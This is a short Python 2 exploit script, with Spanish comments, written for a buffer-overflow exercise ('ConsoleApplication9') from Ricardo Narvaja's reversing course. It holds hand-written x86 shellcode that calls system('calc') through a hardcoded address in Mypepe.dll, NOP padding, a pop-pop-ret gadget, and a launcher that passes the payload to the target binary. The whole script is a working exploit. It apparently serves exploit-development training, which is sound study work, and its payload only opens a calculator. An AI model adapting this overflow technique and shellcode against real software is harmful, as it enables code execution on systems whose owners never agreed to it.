#-*- coding: utf-8 -*-
'''
Exploit para obtener una calculadora en el ejercicio
ConsoleApplication9 de Ricardo Narvaja

ConsoleApplication9 HASH MD5: d7e10aa302db671589a04b6464f9c2ef
Mypepe.dll HASH MD5: 2702f6047aa42c504a164504cfdf1a31
'''

import os,sys
from struct import *



print "------------------------------------------"
print "| Exploit para ejercicio OVERFLOW        |"
print "| de Ricardo Narvaja                     |"
print "| Por F9 CLS                             |"
print "------------------------------------------"

raw_input("pulse ENTER")

# dirección system en Mypepe.dll
system_address = pack("<L",0x78019824)

shellcode = ''
shellcode += '\x33\xC0'               # xor eax,eax
shellcode += '\x50'                   # push eax
shellcode += '\x68\x63\x61\x6c\x63'   # push 636C6163h
shellcode += '\x8b\xdc'               # mov ebx,esp
shellcode += '\x53'                   # push ebx
shellcode += '\x53'                   # push ebx
shellcode += '\x68' + system_address  # push system
shellcode += '\xc3'                   # ret

nops = '\x90' * (28 - len(shellcode))

# cadena que apunta a December
mallocHandle = pack("<L",0x780391EC)

# pop;pop;ret
ppr = pack("<L",0x78010c8b)

frutita = nops + shellcode + mallocHandle + ppr

command = 'ConsoleApplication9.exe -1 '+frutita

os.system(command)